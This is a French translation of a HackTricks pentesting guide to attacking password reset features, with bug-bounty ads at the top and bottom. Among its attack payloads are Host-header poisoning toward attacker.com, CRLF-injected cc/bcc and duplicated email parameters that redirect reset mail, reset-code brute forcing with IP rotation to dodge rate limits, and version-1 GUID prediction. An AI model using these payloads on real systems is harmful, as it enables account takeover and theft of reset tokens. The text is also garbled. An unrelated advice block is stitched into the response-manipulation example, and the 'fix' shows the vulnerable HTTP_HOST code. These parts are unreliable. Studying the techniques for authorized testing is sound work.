hacktricks/pentesting-web/reset-password.md

18 KiB

Contournement de réinitialisation/mot de passe oublié

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

HackenProof est la plateforme des primes de bugs cryptographiques.

Obtenez des récompenses sans délai
Les primes HackenProof ne sont lancées que lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.

Acquérez de l'expérience en pentesting web3
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.

Devenez une légende du hacking web3
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.

Inscrivez-vous sur HackenProof et commencez à gagner grâce à vos piratages !

{% embed url="https://hackenproof.com/register" %}

Les techniques de recompilation suivantes ont été extraites de https://anugrahsr.github.io/posts/10-Password-reset-flaws/

Fuite de jeton de réinitialisation de mot de passe via le référent

Le référent HTTP est un champ d'en-tête HTTP facultatif qui identifie l'adresse de la page web liée à la ressource demandée. L'en-tête de requête Referer contient l'adresse de la page web précédente à partir de laquelle un lien vers la page actuellement demandée a été suivi.

Exploitation

  • Demandez la réinitialisation du mot de passe à votre adresse e-mail
  • Cliquez sur le lien de réinitialisation du mot de passe
  • Ne changez pas le mot de passe
  • Cliquez sur des sites web tiers (par exemple : Facebook, Twitter)
  • Interceptez la requête dans le proxy Burp Suite
  • Vérifiez si l'en-tête referer divulgue le jeton de réinitialisation du mot de passe.

Impact

Cela permet à la personne qui contrôle un site particulier de changer le mot de passe de l'utilisateur (attaque CSRF), car cette personne connaît le jeton de réinitialisation du mot de passe de l'utilisateur.

Référence :

Poisoning de réinitialisation de mot de passe

Si vous trouvez une attaque d'en-tête d'hôte et qu'elle est hors de portée, essayez de trouver le bouton de réinitialisation de mot de passe !

Exploitation

  • Interceptez la demande de réinitialisation de mot de passe dans Burpsuite
  • Ajoutez l'en-tête suivant ou modifiez l'en-tête dans Burpsuite (essayez un par un)
Host: attacker.com
Host: target.com
X-Forwarded-Host: attacker.com
Host: target.com
Host: attacker.com
  • Vérifiez si le lien pour changer le mot de passe dans l'e-mail pointe vers attacker.com

Correctif

Utilisez $_SERVER['SERVER_NAME'] plutôt que $_SERVER['HTTP_HOST']

$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";

Impact

La victime recevra le lien malveillant dans son courrier électronique et, lorsqu'elle cliquera dessus, elle divulguera le lien / jeton de réinitialisation du mot de passe de l'utilisateur à l'attaquant, ce qui entraînera la prise de contrôle complète du compte.

Référence:

Réinitialisation du mot de passe en manipulant le paramètre de courrier électronique

Exploitation

  • Ajouter l'adresse e-mail de l'attaquant en tant que deuxième paramètre en utilisant &
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • Ajoutez l'adresse e-mail de l'attaquant en tant que deuxième paramètre en utilisant %20
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • Ajoutez l'adresse e-mail de l'attaquant en tant que deuxième paramètre en utilisant |
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • Ajoutez l'adresse e-mail de l'attaquant en tant que deuxième paramètre en utilisant cc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • Ajoutez l'adresse e-mail de l'attaquant en tant que deuxième paramètre en utilisant bcc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • Ajoutez l'adresse e-mail de l'attaquant en tant que deuxième paramètre en utilisant ,
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • Ajoutez l'adresse e-mail de l'attaquant en tant que deuxième paramètre dans le tableau JSON
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

Référence

Modification de l'e-mail et du mot de passe de n'importe quel utilisateur via les paramètres de l'API

Exploitation

  • L'attaquant doit se connecter avec son compte et accéder à la fonctionnalité de modification du mot de passe
  • Démarrer Burp Suite et intercepter la requête
  • Après avoir intercepté la requête, l'envoyer à Repeater et modifier les paramètres E-mail et Mot de passe
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})

Référence

Pas de limitation de taux : Bombardement d'e-mails

Exploitation

  • Démarrez Burp Suite et interceptez la demande de réinitialisation de mot de passe
  • Envoyez à l'intrus
  • Utilisez une charge utile nulle

Référence

Découvrez comment le jeton de réinitialisation de mot de passe est généré

Découvrez le modèle du jeton de réinitialisation de mot de passe

Si cela

  • Généré en fonction de l'horodatage
  • Généré en fonction de l'ID utilisateur
  • Généré en fonction de l'e-mail de l'utilisateur
  • Généré en fonction du prénom et du nom de famille
  • Généré en fonction de la date de naissance
  • Généré en fonction de la cryptographie

Utilisez Burp Sequencer pour trouver l'aléatoire ou la prévisibilité des jetons.

GUID devinable

Il existe différents types de GUID :

  • Version 0 : Seulement visible dans le GUID nul ("00000000-0000-0000-0000-000000000000").
  • Version 1 : Le GUID est généré de manière prévisible en fonction de :
  • L'heure actuelle
  • Une "séquence d'horloge" générée de manière aléatoire qui reste constante entre les GUID pendant le temps de fonctionnement du système générateur
  • Un "ID de nœud", qui est généré en fonction de l'adresse MAC du système si elle est disponible
  • Version 3 : Le GUID est généré à l'aide d'un hachage MD5 d'un nom et d'un espace de noms fournis.
  • Version 4 : Le GUID est généré de manière aléatoire.
  • Version 5 : Le GUID est généré à l'aide d'un hachage SHA1 d'un nom et d'un espace de noms fournis.

Il est possible de regarder un GUID et de déterminer sa version, il existe un petit outil pour cela : guidtool****

guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
UUID version: 1
UUID time: 2021-11-17 17:52:18.141000
UUID timestamp: 138564643381410000
UUID node: 17547390002044
UUID MAC address: 0f:f5:91:f2:a3:7c
UUID clock sequence: 3426

Si la version utilisée pour générer un GUID de réinitialisation de mot de passe est la version 1, il est possible de faire une attaque par force brute sur les GUIDs :

guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
a34aca00-47d0-11ec-8d62-0ff591f2a37c
a34af110-47d0-11ec-8d62-0ff591f2a37c

Références

Manipulation de la réponse : Remplacer une mauvaise réponse par une bonne

Recherchez des requêtes et des réponses comme celles-ci

HTTP/1.1 401 Unauthorized
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)

Réinitialisation du mot de passe

Lors d'un test de pénétration, il est souvent utile d'explorer les fonctionnalités de réinitialisation de mot de passe d'une application web. Cette fonctionnalité permet aux utilisateurs de récupérer l'accès à leur compte en cas d'oubli de leur mot de passe.

Cependant, il est important de vérifier que cette fonctionnalité est correctement implémentée pour éviter toute vulnérabilité potentielle. Voici quelques points à prendre en compte lors de l'évaluation de la sécurité de la réinitialisation du mot de passe :

1. Vérifier les contrôles d'authentification

Assurez-vous que l'utilisateur doit s'authentifier avant de pouvoir réinitialiser son mot de passe. Cela empêche les attaquants d'exploiter cette fonctionnalité pour accéder à des comptes sans autorisation.

2. Vérifier les questions de sécurité

Si l'application utilise des questions de sécurité pour vérifier l'identité de l'utilisateur lors de la réinitialisation du mot de passe, assurez-vous qu'elles sont suffisamment robustes. Évitez les questions dont les réponses peuvent être facilement devinées ou trouvées en ligne.

3. Vérifier les liens de réinitialisation

Lorsque l'utilisateur demande une réinitialisation de mot de passe, assurez-vous que le lien envoyé par e-mail est unique et expiré après une période de temps définie. Cela empêche les attaquants d'utiliser des liens obsolètes pour réinitialiser le mot de passe d'un compte.

4. Vérifier les messages d'erreur

Lorsque l'utilisateur soumet une demande de réinitialisation de mot de passe, assurez-vous que les messages d'erreur ne divulguent pas d'informations sensibles. Évitez de donner des indications sur l'existence ou l'absence d'un compte associé à l'adresse e-mail fournie.

5. Vérifier les mécanismes de verrouillage

Si l'application a mis en place un mécanisme de verrouillage après un certain nombre de tentatives infructueuses de réinitialisation de mot de passe, assurez-vous qu'il est efficace pour prévenir les attaques par force brute.

En évaluant attentivement ces aspects de la réinitialisation du mot de passe, vous pouvez aider à renforcer la sécurité de l'application web et à prévenir les attaques potentielles.

HTTP/1.1 200 OK
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)

Référence

Utilisation d'un jeton expiré

  • Vérifiez si le jeton expiré peut être réutilisé

Brute Force du jeton de réinitialisation de mot de passe

Essayez de forcer le jeton de réinitialisation en utilisant Burpsuite

POST /resetPassword
[...]
email=victim@email.com&code=$BRUTE$
  • Utilisez IP-Rotator sur burpsuite pour contourner la limite de taux basée sur l'adresse IP.

Référence

Essayez d'utiliser votre jeton

  • Essayez d'ajouter votre jeton de réinitialisation de mot de passe avec le compte de la victime.
POST /resetPassword
[...]
email=victim@email.com&code=$YOUR_TOKEN$

Référence

Invalidité de session lors de la déconnexion/réinitialisation du mot de passe

Lorsqu'un utilisateur se déconnecte ou réinitialise son mot de passe, la session en cours doit être invalidée.
Par conséquent, récupérez les cookies pendant que l'utilisateur est connecté, déconnectez-vous et vérifiez si les cookies sont toujours valides.
Répétez le processus en changeant le mot de passe au lieu de vous déconnecter.

Temps d'expiration du jeton de réinitialisation

Les jetons de réinitialisation doivent avoir une durée de validité, après quoi le jeton ne doit plus être valide pour changer le mot de passe d'un utilisateur.

Vérifications supplémentaires

  • Utilisez username@burp_collab.net et analysez le rappel
  • Utilisateur en copie carbone email=victim@mail.com%0a%0dcc:hacker@mail.com
  • Un mot de passe long (>200) entraîne un déni de service (DoS)
  • Ajoutez un deuxième paramètre et une valeur d'e-mail

HackenProof est la plateforme de tous les programmes de primes pour les bugs de cryptographie.

Obtenez des récompenses sans délai
Les primes HackenProof sont lancées uniquement lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bogue.

Acquérez de l'expérience en pentest web3
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.

Devenez une légende du hacking web3
Gagnez des points de réputation avec chaque bogue vérifié et conquérez le sommet du classement hebdomadaire.

Inscrivez-vous sur HackenProof et commencez à gagner grâce à vos hacks !

{% embed url="https://hackenproof.com/register" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥